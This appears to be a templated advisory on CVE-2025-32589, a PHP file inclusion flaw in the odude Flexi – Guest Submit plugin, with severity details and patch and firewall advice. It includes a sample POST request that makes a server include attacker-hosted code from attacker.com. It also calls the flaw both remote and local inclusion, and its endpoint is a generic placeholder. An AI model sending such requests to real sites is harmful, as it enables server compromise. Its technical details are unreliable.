CVE-2025-32589: PHP Remote File Inclusion Vulnerability in odude Flexi – Guest Submit

Overview

The Common Vulnerabilities and Exposures (CVE) program has identified a significant security vulnerability labeled CVE-2025-32589. This particular vulnerability affects the odude Flexi – Guest Submit, a popular PHP platform used by numerous organizations. This issue is significant as it allows PHP Local File Inclusion, potentially leading to system compromise or data leakage. Understanding and mitigating this vulnerability is essential, considering its high severity score and the potential impact on the affected systems.

Vulnerability Summary

CVE ID: CVE-2025-32589
Severity: High (8.1 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

odude Flexi – Guest Submit | n/a through 4.28

How the Exploit Works

The exploit takes advantage of an improper control of filename for an include/require statement in the PHP program. This flaw allows an attacker to include a file from a remote server, which could potentially contain malicious PHP code. Once the malicious code is included and executed, it can lead to various outcomes including system compromise or data leakage.

Conceptual Example Code

The vulnerability might be exploited using a simple HTTP request like the one shown below. The example shows a POST request to a vulnerable endpoint, with the attacker including a malicious payload in the request body.

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "include_file": "http://attacker.com/malicious.php" }

In this example, `http://attacker.com/malicious.php` would be a PHP file controlled by the attacker, containing malicious PHP code designed to compromise the system or leak data.

Mitigation Guidance

To mitigate this vulnerability, it is highly recommended to apply vendor patches as soon as they are available. In the meantime, or in case a patch is not available, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can provide temporary mitigation. These systems can block or alert on attempts to exploit this vulnerability, reducing the potential risk. However, they are not a permanent solution and do not fix the underlying issue, so they should be used in conjunction with regular patching and update practices.